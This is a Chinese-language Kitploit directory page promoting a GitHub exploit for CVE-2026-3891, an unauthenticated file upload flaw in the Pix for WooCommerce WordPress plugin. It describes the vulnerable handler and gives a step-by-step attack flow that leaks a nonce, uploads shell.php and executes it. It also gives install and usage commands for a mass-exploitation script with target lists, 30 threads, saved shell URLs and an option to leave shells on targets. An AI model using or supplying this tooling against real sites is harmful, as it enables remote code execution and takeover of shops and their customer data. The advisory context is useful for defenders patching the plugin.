Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3891 — Pix for WooCommerce 未经认证的文件上传漏洞 (通过 certificate_crt_path 参数) | CVSS 9.8 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-3891
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubshinthink/cve-2026-3891

CVE-2026-3891

Pix for WooCommerce 未经认证的文件上传漏洞 (通过 certificate_crt_path 参数) | CVSS 9.8

查看仓库
4121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-3891 — Pix for WooCommerce 未经身份验证的文件上传导致远程代码执行

Nonce泄漏 → certificate_crt_path上传 → 代码执行


概述

CVE-2026-3891 是 Pix for WooCommerce WordPress插件(由linknacional开发)版本 ≤ 1.5.0 中的一个严重级别(CVSS 9.8)未经身份验证的任意文件上传漏洞。

lkn_pix_for_woocommerce_c6_save_settings AJAX处理程序存在以下问题:

  1. 无权限检查 — 任何未经身份验证的访问者均可调用
  2. 无文件类型验证 — 通过 certificate_crt_path 参数可接受任何文件扩展名
  3. 可通过 lkn_pix_for_woocommerce_generate_nonce 端点 免费获取 有效nonce,且无需身份验证

上传的文件会落入Web可访问目录 /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/。

受影响版本

版本状态
≤ 1.5.0有漏洞
1.6.0+已修复

发现者: Alexis Lafontaine(通过 Wordfence,2026年3月13日)


漏洞机制

根本原因

root@kitploit:~
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
    // No current_user_can() check
    // No wp_check_filetype() call
    move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}

攻击流程

root@kitploit:~
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
   → 获取有效nonce(无需身份验证)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
   → 通过 certificate_crt_path 字段上传 shell.php
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
   → 远程代码执行

安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt

使用

root@kitploit:~
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup

参数

root@kitploit:~
  -t, --target      单个目标
  -f, --file        目标列表文件
  -o, --output      保存RCE URL
  --threads         工作线程数(默认:30)
  --no-cleanup      在目标上保留shell
  --debug           显示每个请求
  -v, --verbose     详细输出

免责声明

仅限教育和授权测试用途。 作者不对滥用行为承担任何责任。


参考

资源链接
Wordfence公告wordfence.com
NVD条目CVE-2026-3891
研究人员Alexis Lafontaine

与linknacional或Pix for WooCommerce无关联。

下载工具